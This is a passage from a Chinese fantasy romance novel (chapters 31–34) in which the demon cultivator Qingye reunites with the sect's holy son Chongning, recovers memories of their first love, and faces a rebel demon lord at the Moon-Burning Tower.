青叶自知对不住这人,如今再次相逢,无论他是来问罪,还是来复仇,她都认了。 下山后,西天的晚霞已渐渐褪去,墨色的夜幕如潮水般漫来,将山野笼罩得严严实实。 那只通灵性的小白兔被青叶暂时安置在茅屋后院,铺了些柔软的干草。重宁将青叶捕到的黑熊带了回来,也放在院中。 昏黄的油灯燃烧着,青叶坐在矮凳上,看着男人自然而然地握住她擦伤的手臂,指尖带着温润的灵力,拂过她肌肤上的血痕,一寸一寸地修复着破损的皮肉。 光晕在他脸上投下淡淡的阴影,青叶望着这人专注的侧脸,心头忽然涌上一阵恍惚,仿佛这一年的时光从未流逝,他们依旧在界外之地相依为命,晨起看雾,夜卧听风。 可这又怎么可能呢? “重宁……”她终是开了口,说出与他相逢后的第一句话,“我的确没死。” “可此事,不能让仙界知晓。” “若你恨我,怨我,你想对我如何如何都可以,只是,可否不要让仙界知晓我的存在?” 重宁闻言,握着她手臂的动作一顿。 他缓缓抬眼,深深地看向她,目光中带着浓烈的悲怆之色。 方才见到她时,他尚能保持平静,甚至细致地先为她处理伤口,可听了这话,男人却似终被伤透一般,轻笑一声,道:“阿叶,你以为,我来找你是为了什么?” 青叶感受到这人握着她手臂的力道越来越大,神色中流露出无法忍受的占有欲.望。 她低着头,声线很轻,“……是我对不住你,你恨我也是应当的。” 重宁又笑了一声,似自嘲,又仿佛是实在无可奈何了,一字一句道:“所以,你以为,我恨你,恨到去往天涯海角也要找到你,将你押送仙门,让你受到惩处,是这样吗?” 青叶一时有些不安,她觉得此时此刻的局面并非她能控制,而身前的男人,和一年前也大不相同…… “我一直在骗你。” “我不愿和你走,又一次将你抛下,我以为——” “你以为什么?”重宁捉住她的手腕,稍一用力,便将她从矮凳上拎了起来,按在了身后的几案上。 青叶猝不及防,被他压在案上时,还带着几分怔愣。 他的力道控制得极好,一手稳稳地扶着她的腰,避免她撞上案角,另一手则将她的双臂按在身侧,没有疼痛感,却带着极强的压迫感,让她动弹不得。 男人俯身下来,鼻尖几乎要贴上她的鼻尖,凝视着她面容的每一寸,青叶想躲开他的目光,却被他用指腹轻轻捏住下巴,强行将她的脸扳正。 他曾经菩提般的如玉面容此刻褪去了那温和的慈悲,却染上了浓烈的偏执神色。 青叶就这么被逼着和他对视着,那双冷寂眼眸中曾万物不入,如今却满满当当都是她的倒影,目光灼灼,仿佛带着炙烈的温度,要将她的身体、她的心,一并燃烧殆尽。 “我……”她下意识要开口,唇瓣却忽然被他覆住。 一个带着侵略性的吻,与重宁平日的温和截然不同。覆在她身上的身躯微微颤抖着,仿佛压抑了太久的思念与痛苦,都在这一刻爆发出来。 他的吻带着滚烫的温度,辗转厮磨,掠夺着她口中的气息 ——重宁在生气。 她迟钝地意识到这一点。 男人以前从不动怒,即使是那段她挑衅他的日子,无论如何任性,重宁也不曾真的对她生气,只是会无奈地看着她,纵容青叶那些小心思。 如今却完全不一样了。 男人的吻从她的唇上一路向下,落在她的脖颈、她的耳畔。他温热的气息喷洒在她的肌肤上,带着熟悉的凝神草气息。她忍不住缩了缩身体,却被这人惩罚般地搂住腰身,鼻尖唇瓣更加亲密地贴近她的身体。 好烫。 重宁一遍又一遍地吻上她耳侧,似在隐忍着什么,声线压低: “既然骗了,为什么不继续骗下去?” “唔……”耳垂忽然被他轻轻咬了一下,轻微的痛感让青叶忍不住出声。 男人的吻十分执着,一寸寸描摹着她的轮廓,恍惚间,诛魔台前夜的月色闯入青叶脑海。 桃花酿醉了人心,两人依偎着,模糊了天地界限。 青叶那时就该意识到的,圣子大人并非表面上那般光风霁月,无欲无求。 重宁心里原来藏着这般炽热的执念。亲吻中褪去了平日的温润,显露出他的执拗与眷恋。 青叶的心底防线渐渐崩塌,刻意压抑的思念如潮水般涌来——原来她从未放下过他,日夜惦念,刻入骨髓。 即便曾以为他恨她入骨,她也仍会沉迷于此刻的吻。 重宁拦腰将她抱起,又将她置于松软的榻上。 这一次,没有了桃花酿,她无法再欺骗自己是因醉而沉沦。青叶神志清明,却依旧主动伸出双臂,搂住了他的脖颈,回应着他的吻。 她清醒地感知着身前人的气息,看见他眼底翻涌的炽热与偏执。 青叶无力推开他,也不愿再推开他。 如果是梦的话,也晚一些醒来,可以吗? 可圣子大人却迟迟没有更进一步。青叶拥着男人的胸膛,脑海中尽是去年冬日的夜晚,她与他之间的温存与欢愉。 情急之下,她抬手拆开了他的衣襟,指尖微微颤抖,神色竟带着几分委屈。 男人注视着身下的少女,此时此刻才能确认,她并非对自己无情。 只是总口是心非,一次又一次将他推开,即使其实需要他,其实喜欢他陪着她。 傻子。 他暗自叹息。又是什么缘故,让她一个人躲到这荒郊野外来,连魔气都不敢显露,过着这样的日子? 青叶总是不愿依赖他,要一个人藏着那么多的心事,一个人承担那样多的痛苦。 重宁实在心疼。 可从前他心疼,好声好气地说也没有用,青叶总要自己躲起来消化一切,害怕连累他么?可他却对此求之不得。 世上没有什么是比她更重要的了。 身下少女此刻委屈地看着他,却还倔强地不肯张口和他说话。 重宁心中柔软一片,他知道,他得一点一点教她,教她坦诚,教她依赖,教她不要再轻易离开。 他掌心覆在她的腰侧,力道轻柔却不容挣脱,能清晰感受到她在不自觉地向他贴近。指尖掠过她衣袖下的肌肤,重宁忽然低笑一声,唇瓣贴近她的耳侧,气息温热如絮: “不是以为我恨你么?” “这便是对你的惩处。” “你……” 青叶没料到他会这样说,霎时大脑停摆,想说些什么,喉间却像是被什么堵住,一个字也说不出来。 “还打算骗我么?” 重宁的声音压得极低,唇几乎要触碰到她的耳廓,温热的气息拂过鬓发,带着细碎的痒意。 青叶这才后知后觉地反应过来,他是在用这种方式逼她坦诚。心头翻涌的委屈与莫名的悸动交织在一起,让她鼻尖微酸,终究抵不过这份沉甸甸的注视,轻轻摇了摇头。 脑中却迟钝地想——是指骗他什么?骗他自己是凡人,还是将他骗去界外之地,还是…… 下一秒,男人继续开口: “爱我吗?” 青叶愣愣地看向他。 “阿叶,爱我吗?”他的汗水滴下,和她的混杂在一起。 重宁直勾勾地盯着她,仿佛不说实话就不会放过她。 此时此刻,青叶在他手下没有抵抗的能力,她浅浅地喘.息着,再没有办法欺骗,闭着眼开口道: “爱的。” “阿宁,我爱你。” 再次睁开眼时,却见身前男人神色几近落泪一般。 青叶搂住他,埋首在重宁的胸膛间。 “你又来找我了。” “我其实很高兴。” 原来她其实并不想真的离开他。 每一次都是,她离他而去,可他总会找到她。 一次次的失而复得,去而复返。 重宁宽大的手掌抚上她的脸侧,温暖的触感。 “阿叶。”他声线温柔,似在哄她。 “无论有多少次的分离,我永远会去找你。” “只是,可不可以别再离开我了。” 青叶的眼睛红了。 她点了头,轻吻上男人光洁的手臂。 ——那处曾有一点红砂,象征着圣子大人的贞洁。 可如今,却已荡然无存。 这是她的手笔。 “抱……”她轻唤道。 仿佛是第一次袒露出柔软的内里,告诉他,她真的在需要他。 重宁看出少女此时已到了情绪和身体的极限,眼眶红红地望着他,没了从前的倔强和口是心非的疏离。 她其实也在等他,对吗? 好在他没让她等太久,好在他如今再次找到了她。 实在是心疼了,不愿让身下少女难受,重宁复又吻上她,带着比先前温柔百倍的力度。 “我会一直在。” 灯火摇曳,映着相拥的二人。耳鬓厮磨间,他轻声立下誓言。 “阿叶,无论世事如何坎坷变迁,我会一直在。” “那些伤你辱你之人,我不会让你再见到他们。” 臣服于她、想要守护她的心愿,从多年前伊始,直至此刻也不曾变。 作者有话说:没招了怎么锁我这么多次 我是老实人啊审核大大《 》 30-35 第31章 晨光洒落, 窗外响起此起彼伏的鸟鸣声。 重宁缓缓转醒。 他下意识抚上身边的床榻,却在霎时间惊醒。 ——身边竟已没了人影。 重宁的呼吸立刻急促了起来,他只着单衣, 却立刻翻身而起,赤着脚便要去寻人。 此刻的一切, 都和一年前那一幕太像了。 一夜的旖旎温存,晨起时还留着余温的床榻, 人却不见了踪影。 找到她时,二人却在悬崖前对峙, 少女毫不留情地抛下了他, 落入深深崖底。 他被抛下,从此生命陷入了无尽的风雪。 昨夜还伸手环住他脖颈,细密地亲吻他的少女, 第二日就会离他而去,这样可怕的事实印在重宁的记忆中, 让他痛不欲生。 他只怕此时此刻, 又要再遭一回这般的恐怖。 重宁奔出茅屋,却迎面撞见了一身清雅春袍的青叶。 柔丽的面容带着微微的笑,白皙的肌肤在日光下显得透亮温润, 她手持一支桃花, 眸光沾染了熠熠春色,向他而来。 男人恍然如身在梦中。 过去的一年, 他曾无数次梦见她,梦见百年前他们的初遇, 梦见百年后在玉京海边的等待,梦见叠云峰上二人朝夕相处,梦见界外之地如被流放一般的相依…… 每一个梦中, 少女的身影都如此真实。 可当他伸手触碰,那美梦便碎了,唯独留他孤寂一人,再见不到那张他心爱的面容。 “阿宁,你醒了?”可青叶此时开口,仰头朝着身前男人微笑,“我去为你摘了支桃花。” 声音响起,柔软的手掌握住他的手臂,具有实感的触碰,重宁才大梦初醒,这一次,是美梦成真。 青叶尚来不及反应,便被男人拥入了怀中。 一个急切的拥抱,像是已经失去了太久,只能将自己的珍爱牢牢地抱在怀里,才能保证不会悄悄溜走。 “……怎么了?”她不解道。 昨夜她大概是睡得比重宁早些——因梦中还感受到这人从身后要伸手抱住她,于是今早也起得早了些。 窗外春光实在是好,后山也生长了桃花,青叶便想着去看看是否开了花,去折一株赠给重宁。 回来时,便见这人夺门而出,双目赤红,衣衫不整,甚至未着鞋履,就这么跌跌撞撞地奔出来,直到见到她时才停住脚步。 只是仿佛又不敢相信似的,直到她开口,触碰到他的手臂。 此时此刻,男人缓缓地在她身前半跪下,仿佛是失了力了,搂着她的腰,埋头在她的腹部,连发丝都是乱的。 “我以为你又不见了。” 重宁声音低哑,喘.息着,却还是不愿放开她。 这人何时有过这般狼狈的时刻? 青叶心中泛起苦涩的心疼,她知道,是她从前太多次不告而别,让他如今有了深刻的阴影。 “我在这里,阿宁,我在这里。” “我再也不会离开了。” 见到重宁之后,青叶才终于明白,原来她一直在等他。 从前他们之间有太多的阻碍,而她也总是要逃避走向他。 在界外之地时本已下定决心,却又因母亲在灵界通道的话而动摇。 青叶不想连累他,却忘了问,这人愿不愿意被她连累。 从前许多年,她不曾为自己活过,如今又要因那仙魔多年前的纷争而放弃自己的爱人。 青叶不要再放弃了。 她要重宁在她身边。 她不愿再让他痛苦难过。 青叶缓缓回拥住身前之人。温热的体温在她手掌之下,她俯身吻上男人额头,柔柔开口:“我们回屋子里好不好?” 重宁这才愿意起身,眼角红晕还未褪去,始终要牵着她的手。 青叶想多同这人说说话,好奇问他:“你是怎么找到我的?” “又是……怎么知道我没有死?” 重宁望着她,目光中还带着些许悲意,却轻笑一声:“你将梦吟丢在山洞之中,一走了之,我追到那儿时,自然便知晓。” 青叶有些心虚地摸了摸脑袋,“我那时……确实不想被人找到。” “等等,”她又忽而反应过来,“你从前明明说梦吟只会监测到周身的灵力波动,我将它丢在那安安静静,无人问津的山洞里,你又是怎么能找到的?” 那山洞中可不会有灵力波动,又因在诛魔台附近,恐怕连魔气波动也不会有。 重宁这才微微垂眸,轻咳一声:“我应是忘了告诉你,这镯子也有定位的效用。” 青叶:“……” 原来如此!所以当时这人将梦吟镯赠给她,就是存着要监视她的想法! 她后来前去质问,重宁还一脸平静地说决不是监视。 鲜活的不忿之色出现在少女的面容上,重宁见了便不禁微微笑了。 “自然不是监视,而是……担心你的安危。” “以至于,你去了哪里,我都想知道。” 男人说话倒是很好听,青叶便也不想和他计较了。 只是她又因此想起,重宁似乎……从一开始就知道她是魔? 这又是为何? 青叶自诩伪装得十分出色,毕竟她那时是当真没了魔丹,而她又满口熟练的谎言,自以为天衣无缝。 “你当时到底是怎么看出来的?又是为什么没有揭穿我?”她拉住男人的衣角,让他势必要告诉她。 之前在界外之地时她心情不佳,便没有再追问,如今再想起,却是十分好奇。 但与此同时,青叶又想到一个可能性。 如果……他在自己伪装之前就已知道了她的身份呢? 如果……那场相遇,并非她偶然的幸运,而是,某人的刻意为之呢? 青叶被这样的猜测震住,愣愣地看向身前的男人,等待他的回答。 “小芦是否同你说过,去玉京海之前,他曾为我卜过一卦。” 重宁温柔的眼神中盛满了她的身影,轻声开口。 “大凶之兆,我记得。”青叶说。 “他劝我不要出门,不要去玉京海,可我还是去了。” “因为,从出关到入世云游,我都是为了找一个人。” 男人的声音平静,青叶胸膛内的心脏却在砰砰直跳。 “我为了找你。” “百年前,我把你弄丢了,百年后,我感应到了你的存在,于是去往玉京海寻你。” “一切的一切,都是我蓄谋已久。” “阿叶,其实你不需要骗我,我在百年之前便知晓你是魔修,我依然爱上了你。” “可你已将前尘往事尽数忘却了,我不能强行再让你与我相爱,便只想先将你带来身边好好照看。” “我只恨没能再早些找到你,让你在玉京海中经受了那巨大痛苦,是我的错。” 重宁温柔的神色中却沾染上挥之不去的哀愁。 “所以你要骗我,也没关系,我心甘情愿。” 她想要什么,他便双手奉上,无论代价。 青叶僵在原地,呼吸起伏间,她回想起很多事情。 为什么从前在叠云峰上重宁看向她的神情目光总是那样复杂,为什么他在山上建起阻隔魔修气息的结界,为什么他即使知晓那是大凶之兆也义无反顾地去往玉京海…… 在界外之地时,他其实试探过问她,是否想回忆起从前。 青叶那时心里装着的都是从前和父亲,和洄夜,以及在塔中的无望岁月,她知晓自己的曾经没有光亮,于是也不愿想起。 可她不知,很早很早以前,她便已遇见了重宁。 一别百年再重逢,他们竟再次相爱。 第32章 青叶不禁回想起当初, 玉京海边,她与重宁“初见”的时刻。 男人白衣胜雪,将湿漉漉的她捞上岸来, 在岸边为她细致地疗伤。 青叶一心想着骗人,絮絮叨叨说自己的身世。 “我叫青叶, 我父母都去世了。”她说,“我半夜悄悄来这里求神拜佛, 结果撞见你们仙魔打架。” 重宁:“嗯。” 青叶不知道他有没有相信,只管说下去:“我是被你们的动静卷入海里的。” “好可怕。”她挤出两滴泪来, 补充道。 “别怕, 一切都结束了。”重宁一边为她疗伤,一边回应她。 江小芦那时并不信任她,在一旁咋咋呼呼的, 青叶敏锐地从他们的对话中得知他们是无垢宗中人,于是继续卖惨: “仙君, 我无处可去了。” 重宁叹息一声, 看向她的神色复杂。 “那么,便随我回宗门吧。”他说,“我会照料你。” “不会再让你孤单一人。” 青叶那时沉浸在自己得救, 骗术成功的喜悦中, 根本没想过为何自己这拙劣的三言两语就能让高高在上的圣子大人信服。 现在想来,原来他一早便知自己是在骗他, 还佯装出相信她的模样。 青叶想,重宁的演技比她要好。 那天夜里, 她重伤后虚脱,无力行走,重宁背着她走了一段很长, 很黑的路。 她伏在男人温暖,宽厚的背脊上,凝神草的气息幽幽传来,让她昏昏欲睡。 很奇怪,那时明明是第一次见到这个人,青叶却莫名地很相信他。 那条路黑得看不清方向,她竟然也任由他带自己走。 “我们要去哪里?还有多远?”她小声地问。 “附近有无垢神君的庙宇可供休憩。”重宁说,安抚她,“很快就到。” 他的灵力仍包裹着她的身躯,在治愈她胸前狰狞的伤口。 现在想来……他明明可以御剑带她过去的。 青叶收回思绪,忍不住瞥向此刻身边的男人,“你当初是不是故意背我走那么久的?” 重宁假咳两声,望向她的眼底满是温柔:“那时再遇见你,你却不记得我了。” “只好寻了借口,想再贴近你一点。” 离开她已经有百年的光阴,因此想让她在自己背上待得久一些,再久一些。想从此与她再不分离。 原本只是想从此守着她,照顾她,即使青叶再也不记得他也没关系。 可后来……还是不能抑制地想要爱她。 青叶黯然垂眸,“可我如今还是不记得从前的事情。” “以前不愿意记起年幼时的痛苦,觉得自己该抛下那些无关紧要的东西走下去,可是如果那段回忆有你的存在……” 那就不一样了。 想找回记忆的冲动愈发强烈,她想要记起和重宁有关的一切。 即使过去会让她痛苦,也无妨,只要重宁在她的生命中,青叶便会安心。 “你能告诉我么?”青叶捉住重宁的衣角,眼带期盼,“或者……我能自己将记忆找回来么?” 重宁怜惜地捧起她的脸庞,“你当真决定了?” 青叶郑重地点了点头。 “你是不是,其实知道该去哪里找回我的回忆?”她问道,“只是一直没有告诉我。” 重宁就是这样的人,宁愿自己被困在过去,困在对她触不可及的爱意中,也要遵循着她的想法,不愿勉强她一丝一毫。 因为她不愿意,所以他也一直不曾说出口。 重宁轻叹一声,目光移向窗外,仿佛在看着很远很远的地方。 “如果你想,那么,我们要去一趟魔界。” …… 经历了数次战争和动荡,魔界如今已是一片荒芜景象。 青叶几乎已经不记得自己离开前此地的模样。 大部分魔修已被虞九幽召集,成了他的部下军队。 剩下的,要么被心魔所困,他们衣衫褴褛,时而疯癫,时而哀痛,时而麻木。尚未被心魔反噬,也不愿追随虞九幽的魔修们则流离失所,躲在暗处窥视着一切,不敢现身。 重宁御剑而行,带青叶一路往魔宫的旧址去。 他对地形与方向了如指掌,不像是第一次来到这里。 魔宫在经历过大火之后,大片大片的建筑都变为废墟,只有主殿还残存着,除此之外,便是高高耸立在一片阴云中的焚月塔。 青叶曾待了百年的地方。 她心里隐隐有了猜测,这正是重宁要带她去的地方,也是她能够寻回记忆的地方。 然而,一魔一仙深入魔宫旧址,有人却并不想让他们这一行如此轻松。 焚月塔下,虞九幽领着他的一队精兵,像是在此恭候已久。 他不似与青叶上次相见时那般狼狈,身挂黑色披风,显然是养精蓄锐已久,准备守株待兔。 “玉菡,我以为你在得知真相后,会站在我这一边。”他轻蔑一笑,“你难道和你父亲一样,也疯了么?” “到现在还和这仙人携手,你难道是希望,先前诛魔台上的事情再重演一遍?” 虞九幽说了这么多,青叶却神色不变。他不过是想最后再尝试一次离间她和重宁,没什么好理会的。 见她毫无反应,虞九幽不免恼羞成怒,大手一挥,焚月塔下无数被他收入麾下的魔修如被操控的傀儡一般向他们袭来。 “既然不愿合作,那便将你和这仙人一同捉了,想必能好好震慑一番仙界。”他冷声哼道。 青叶并无惧意,即刻便释放出魔气,重宁却在这时挡在了她身前。 方才被用来当做载具的长剑玉衡此刻被他握在手中,下一秒,被毫不犹豫地抽出。 青叶一惊,“你……” 世人皆知,玉衡是他献祭给无垢神君之物,多年前早已封剑,重宁再也不曾拔出过。 此刻,通体雪白的剑身闪烁着寒光,就横在她眼前。 仿佛在昭示着主人的一意孤行:重宁的心,便如同这把出鞘的剑。 他爱她,绝不后悔,绝不回头。 重宁开口:“阿叶,我不会再同你站在对立面。” “你想让我拔剑,那么这把剑只会用来保护你。” 剑气凛然,袭向不远处的魔修,散出的灵力却轻柔地缠住他身后的青叶,将她送进焚月塔中。 焚月塔石门紧闭,却在青叶靠近的瞬间屈从地打开,像是臣服于她的主人一般。 灵力被收走,青叶落入塔中,石门在身后迅速关合,没给那群攻击她的魔修有可乘之机。 重宁在外抵御虞九幽的魔界叛军,不愿让她受到一丝一毫的伤,竟直接将她送进焚月塔内。 青叶站起身来,定了定心神,终于意识到,重宁已经明白当时在诛魔台上她的心思。 她从前多疑又没有安全感,即使二人做尽了亲密之事,她也不愿完全信任他,不愿让自己无解多舛的身世影响他,将他拉入泥潭。 那日雪天,他们二人在诛魔台上相对,青叶最后给了重宁一次机会。 她要他拔剑。 那并非是真的想要和他决一死战,只是那时她倔强又别扭,想用那样的方式让他证明自己愿意与她为伍,证明她比他的信仰还要重要。 ——背叛献祭给无垢神君的誓言,拔出那把尘封百年的玉衡,从此站在一个魔修的那边。 青叶甚至不能懂得当初的自己为何要如此扭曲,大概是从未获得过那么好的爱,于是想要看他究竟能做到哪一步。 可是那时的重宁没有意会到她的意思,可他有什么错呢,是青叶想要的爱太极端,而他只是不愿与爱人刀剑相向而已。 可没想到,再次重逢,他竟能懂得她。 懂她所有的阴暗和不甘,懂她藏在冷漠面孔下那咬牙切齿般的爱意。 青叶不是个好人,不是个良善温柔的女孩。 可是如今重宁用行动告诉她,不论她是什么样的,他通通都会接住,他会是她的后盾,无论如何,他都爱她。 她真的比他多年来的信仰,圣子之位,对天神的承诺还要重要。 青叶不禁双眸酸涩,她回头看了一眼紧闭的石门,随后转过身,向漆黑的古塔内踏出一步。 她要想起他。她也要用完完整整的一副灵魂去爱他。 第33章 焚月塔内漆黑一片, 安静得连根针掉落在地也听得见,青叶在指尖燃起一团魔火,照亮了前进的路。 斑驳的地面凝结着黑色的血迹, 看起来早已风干多年。 没有妖物来迎接她,它们或许察觉到曾经征服了这座塔的主人再次到来, 纷纷躲了起来。 青叶已经很久不曾踏足焚月塔的最底层,几乎忘记了这里是何模样。 她向黑暗中前行, 直到点点荧光包裹着一个瘦弱的身影出现在她眼前。 那是一个小小的女孩。 模样与她有八分相似。 那是……曾经的青叶。 不,应该叫她, 玉菡。 玉菡见了她, 很亲昵地贴近了上来。女孩脸蛋稚嫩,一身灰扑扑的,手上还带着血, 一双眼睛却清澈透亮。 “姐姐,你来了。” “你终于想起我了吗?” 玉菡向她伸出了手。 青叶沉默几秒, 回握住了她, 握住了曾经的自己。 霎时间,她眼前一片模糊,转瞬便已来到了另一个空间。 青叶变成了从前的玉菡, 伏在阴暗的地牢内, 浑身是伤,只不过大约是灵魂附体的缘故, 她感觉不到疼痛。 不远处的铁栏杆外,是一张熟悉的面孔。 洄夜为她送上膳食, 叹息:“公主殿下,为何不肯对尊上服软?” “何苦将自己弄到这般地步?” 青叶于是意识到,这是百年前, 自己在和父亲对抗之时的场景。 她无法控制躯体,感受到自己倔强地转过了身,不愿看向洄夜。 他们二人此时关系也落入了冰点。 “你不过是他的走狗。”她听见自己冷冷开口,声音青涩,却坚定,“早知是这样,从前就不该对你好。” 身后的洄夜似乎深深吸了一口气,二人之间陷入死寂,最后,他将食盒放在门口,兀自离开了。 洄夜一走,青叶便翻身坐起,将食盒扒拉过来,狼吞虎咽地吃了起来。 她饿了。但才不要在洄夜面前表现出来。 吃完后,她又躺在潮湿的地面上。地牢内有一扇狭窄的窗户,透过铁栅栏,青叶可以看见外面的天空。 天空是灰暗的,看不见星星。 如果能看见星星,该有多好? 睡意袭来,青叶却因身体抱恙而发起热来,发丝汗湿,她在地上蜷成一团。 就在这时,她胸口忽而泛起浅浅的灼热之感,像是有什么东西在很远的地方传递给她能量,支撑着她的身体。 青叶慢慢转醒,站起身来,忽而发觉自己手心似乎灌满了力量。 她盯着困住她的铁栏杆,上面用魔气制成的锁在此刻看起来不堪一击。 “你是想出去吗?”一道清泠的声音在她脑中响起。 “你是谁?”青叶吓了一大跳,小声问道。 那道声音没有回应,片刻后,又说,“如果你想出去的话,我可以帮你。” “我把我的力量借给你。” 青叶的确想出去。 她不想被疯子父亲困在这里,她想离开魔界,去到能看星星的地方。 她根据那道声音的指引,用借来的力量劈开了门锁,又打晕了守卫,跑出地牢。 只是出了地牢后,她又不知道该怎么走了。 一直待在魔宫中,很快又会有人来捉她,她的父亲又会来逼她杀人。 那道声音适时出现,问青叶要去哪里,陪伴在她身边,为她指路。 青叶就这么逃出了困了她十几年的地方,来到了仙魔交界之处,玉京海。 海面波涛不惊,但那道声音告诉她,魔修不能独自渡海。 青叶于是也不去尝试了,在玉京海边住了下来。 这里很漂亮,天空澄净,能看见星星。 她每天在滩涂和附近的山丘上跑来跑去,玩得不亦乐乎。 同时,还和脑袋里的那道声音熟悉了起来。 那道声音说,他叫重宁,是一个剑修。 青叶也不和他撒谎,说自己是个魔修。 一个魔和一个仙竟就这样成了朋友,遥远的朋友。 重宁似乎很忙,他的修炼很苦,但出现在青叶脑海中的次数却越来越多。 她也越来越依赖这个神秘的仙人。 在海边找到了奇形怪状的贝壳要给他看,山上打到猎了要给他炫耀,连睡前,两人都会互道晚安。 青叶用山丘上的木头给自己搭了一个小小的房子,每当夜晚降临,她还是会有些害怕。害怕野兽袭击,握紧了拳头才能入睡。 重宁会在她耳边安抚她,说他一整晚都会醒着,若她遇到危险,会即刻将力量传递给她。 不会让她受伤。 青叶便觉得很有安全感,能够安然入睡。 有时候,她会小声呢喃:“如果能见到你就好了。” 有着温柔声音的清冷仙人,会是什么样的呢? 重宁在她脑海中沉默片刻,说:“我会找机会来见你。” 于是,在某一日清晨,青叶在海边眺望第一缕朝阳时,海面荡起柔柔波澜,白衣胜雪的仙人踏浪而来,驾驶一叶小舟,停驻在她身前。 重宁的容貌比如今青涩许多,还只是个少年模样,见了她,有些害羞地垂下眼眸。 青叶第一次见如此仙姿玉貌,气度翩然的人,也不禁愣在了原地。 两个人初次见面,都有些不好意思。 “你就是……” “你说你想见我……” “咳咳。” 二人同时开口,最终是青叶率先说了句:“你好漂亮。” 一句出自内心的赞扬。仙人的确有仙人之姿。他的容貌和他动听的声音一样美妙。 接着她看见,眼前少年的脸慢慢慢慢地变红了。 “你也是……”他声音有些轻,还是没敢看她。 这之后,青叶邀请他在自己的小木屋住下,她睡床,重宁睡在垫了干草的地上,青叶将自己找猎户收来的被子分了他一半。 她寂寞的生活从此有了玩伴,拉着重宁上山下海——有了仙人的陪伴,她也能进入玉京海了。 二人越来越熟稔,重宁甚至带着她乘小舟渡海去往仙界。 少年不愿让她委屈自己掩藏身份,但青叶还是假装自己只是一介凡人,同他一起去无垢宗玩。 毕竟仙魔关系一向不好,她可不想半路就被哪个仙人捉走。 重宁于是专门学了能掩盖魔气的法术,让她能安心在仙界行走。 后来的后来,那法术被他改良成一种阵法,铺天盖地地笼罩在叠云峰上。 和重宁一道,青叶看到了许多自己从前不曾见过的景象。 她已将他视作自己要好的朋友,也大概是她的第一个朋友。 直到一夜。 青叶发了热,大概是先前在魔宫地牢内的旧伤没有好全,天气又渐渐冷了,再加上她常常在山林里乱跑,有时会被锋利的枝桠刮伤。 因她对疼痛很不敏感,常常受了伤也丝毫不觉,于是在一个初雪的冬日,她病倒了。 重宁见到这般状况,十分慌乱,为她喂水找药,将两床被子都盖在她身上,满脸都写着担忧。 青叶不禁觉得他很可爱。 他忙前忙后照顾她,但这些都比不上他本人的贴近。 青叶莫名觉得,一靠近他,身体的疼痛就会减轻些许。 于是她不管不顾地抱住了少年,贴着他的手心,就要这么睡过去。 没能看见少年的耳廓变得有多红。 重宁守了她一夜。 到最后,他被青叶一同拽进了被子里,两个人相拥而眠。 醒来时,二人大眼瞪小眼,一时相对无言。 “抱歉……”青叶一边说着,一边却还抱着人家的手。 没办法,和他贴近就觉得好舒服。 “没关系。”重宁低声说。 “抱多久都可以。” 少年的怀抱很温暖,青叶又睡了一觉,醒来时重宁已坐在床边,手还被她牢牢牵住,另一只手捧着一碗药,用他的灵力温着,似在等她醒来。 他神情温柔,看向她的双眸让她觉得安心。 那大概是青叶第一次感觉到心动的滋味。 随着灵魂的震荡,传递到如今的她心中。 第34章 曾经的青叶就这样陷入了一段美妙的初恋。 她如同旁观者一般注视着这个发生在过去的世界, 不知为何,她竟又从自己的回忆,转而看见了重宁的回忆。 也因此得知, 为何自己能神奇地在脑中听见他的声音,又为何在病中那样依赖他。 重宁被选为无垢宗预备圣子后, 经历了一段暗无天日的闭关生涯。 他每日修炼祈祷,祈求神君能够听见他的虔诚, 即使神君从未有过回应。 在那暗室之中,重宁拾到了一只护身符。 奇妙的是, 在他拿到那只护身符后, 无垢神君竟开始给予祂的信徒一丝微小的应答。 重宁这才知晓,那枚护身符是上一任预备圣女献祭给神君的东西,却认了重宁为主。 神君认可了他的资质, 告诉他若能拿到上古之剑玉衡,并将自己的修为再提升一截, 祂便会让重宁成为其在人间的使者。 可重宁并没有多么喜悦。 这圣子本不是他想做的。 少年本有和睦的家人与朋友, 不过是一介散修,却因根骨灵秀被无垢宗内人士看上,断言他有未来圣子之姿。 他从此与至亲好友分离, 被关进暗室, 名为清修,实则不得自由。 重宁没有将神君的话告诉任何人。他握着护身符, 心中想的是如何摆脱这一切。 直到一天,护身符在他手心间, 发出了细微的感应。 从此,这枚护身符联通了暗室中的他,与海另一边的一位魔修少女。 重宁这才知道, 原来在遥远的海对面,有人和他经历着一样的遭遇。 少女比他孱弱更多,还受了很重的伤,连饭都吃不饱。 他很心疼。 想要保护她,想要拯救她,想要实现她的心愿。 于是重宁在发现自己的力量可以通过护身符传输后,即刻便帮助少女逃离了那可怖的地牢。 她自由了。 重宁隔着护身符同她说话,听见她兴奋的声音,仿佛也看见少女吭哧吭哧建小木屋,漫山遍野乱跑,打猎捉蝴蝶的模样。 要是能帮她就好了。他这样想着。 他力气很大,会建房子,会打猎,会做饭。 他可以照顾好她。 可重宁只能将自己的心思藏在心底。 因为少女不一定需要她。他也不敢去问。 但他没想到的是,青叶也想要见他。 她睡前会和他说晚安,见到新鲜事物时会可惜他不在身边,就连夜晚入睡后,重宁守在护身符旁陪伴她时,会听见少女轻声的呢喃。 她在呼唤他。 重宁要去和她相见,即使少女在海的另一端。 他不再死守在暗室中磋磨光阴,而是主动将无垢神君的传讯告知了无垢宗长老们。 宗门中那些将重宁选拔进无垢宗,让他成为预备圣子的人们欢欣鼓舞,认为继上一任圣女离开后,他们又找到了新的人间使者,从此不再将他关在暗无天日的地下,准许他去寻找玉衡剑,四处历练提升修为。 重宁没有一刻迟疑,出发去了玉京海边。 他渡海而行,去找那位和他相伴多时,却从未见过面的少女。 她告诉他,她叫玉菡,但更希望他叫她的新名字,青叶。 那是她为自己取的名字。 重宁觉得很好听。在口中反复咀嚼过很多次这个名字。 幻想过有一日唤她“阿叶”的情形。 而那一天竟真的到来了。 在青叶喝下他煮的汤药之后,勾着他的手指,诉说了对他的喜欢。 少女还在病中,脸色白白的,一双眼睛却很亮,眸中装着清澈的欢喜。 她当然也知道了他的心意。 重宁于是很后悔,自己没有早些说出来,竟然让青叶率先告白。 少年人之间的喜欢是这样纯粹,两个人像两个小动物一般,头靠着头,倚在一起。仅仅是体温的相贴就足够让心砰砰直跳。 重宁在那一天在心中暗暗立下了誓言。 他要找到玉衡剑,要提升修为,要成为无垢宗圣子。 他不能再无能下去,不能再受制于那些长老。 等得到了圣子之位,无人敢置喙无垢神君在人间的信使,他就可以和他心爱的魔女正大光明地在一起。 再也不要用法术为她遮掩,让她只能以凡人少女的身份和虚假的名字在宗门和仙界行走。 他要改变这一切,改变世人对魔修的偏见。 可意外却很快到来。 